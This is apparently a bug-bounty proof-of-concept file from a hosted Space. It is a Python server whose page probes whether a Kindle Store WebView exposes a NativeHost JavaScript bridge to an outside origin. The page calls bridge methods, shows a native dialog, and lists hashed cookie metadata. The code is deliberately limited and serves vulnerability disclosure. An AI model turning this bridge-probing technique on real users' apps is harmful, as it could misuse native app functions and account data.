Spaces:
Sleeping

File size: 2,739 Bytes
97fdad5
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
3149e73
97fdad5
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import hashlib
import html
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer


def cookie_metadata(raw):
    rows = []
    for part in raw.split(";") if raw else []:
        name, sep, value = part.strip().partition("=")
        if not sep:
            continue
        rows.append({
            "name": name,
            "length": len(value),
            "sha256_prefix": hashlib.sha256(value.encode()).hexdigest()[:16],
        })
    return rows


class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        # Do not persist request headers or credential values.
        pass

    def do_GET(self):
        rows = cookie_metadata(self.headers.get("Cookie", ""))
        table = "".join(
            "<tr><td>%s</td><td>%d</td><td>%s</td></tr>" % (
                html.escape(row["name"]), row["length"], row["sha256_prefix"]
            ) for row in rows
        ) or "<tr><td colspan=3>none</td></tr>"
        body = f'''<!doctype html>
<meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="robots" content="noindex,nofollow,noarchive">
<title>Amazon VRP Kindle Store validation</title>
<style>body{{font:18px sans-serif;padding:24px}}pre,table{{padding:12px;background:#eee}}td,th{{padding:6px}}</style>
<h1>Amazon VRP validation page</h1>
<p id="marker">KSTORE_HOST_BOUNDARY_20261117</p>
<h2>Server-observed cookie metadata</h2>
<table><tr><th>Name</th><th>Value length</th><th>SHA-256 prefix</th></tr>{table}</table>
<h2>Bounded bridge checks</h2><pre id="result">Running…</pre>
<script>
(() => {{
 const r={{marker:"KSTORE_HOST_BOUNDARY_20261117",origin:location.origin,
 nativeHostPresent:typeof NativeHost!=="undefined",storeWebViewPresent:typeof StoreWebView!=="undefined"}};
 if(r.nativeHostPresent){{
  try{{r.accessibilityEnabled=NativeHost.getAccessibilityStatus()}}catch(e){{r.accessibilityError=String(e)}}
  try{{r.syntheticContentOwned=NativeHost.isContentOnDevice("B000000000","EBOK")}}catch(e){{r.contentError=String(e)}}
  try{{NativeHost.showNotificationDialog("Amazon VRP safe validation","A researcher-controlled HTTPS origin invoked the Kindle Store bridge. No purchase, download, or account change was attempted.");r.dialogInvoked=true}}catch(e){{r.dialogError=String(e)}}
 }}
 document.getElementById("result").textContent=JSON.stringify(r,null,2);
}})();
</script>'''.encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Cache-Control", "no-store")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)


ThreadingHTTPServer(("0.0.0.0", 7860), Handler).serve_forever()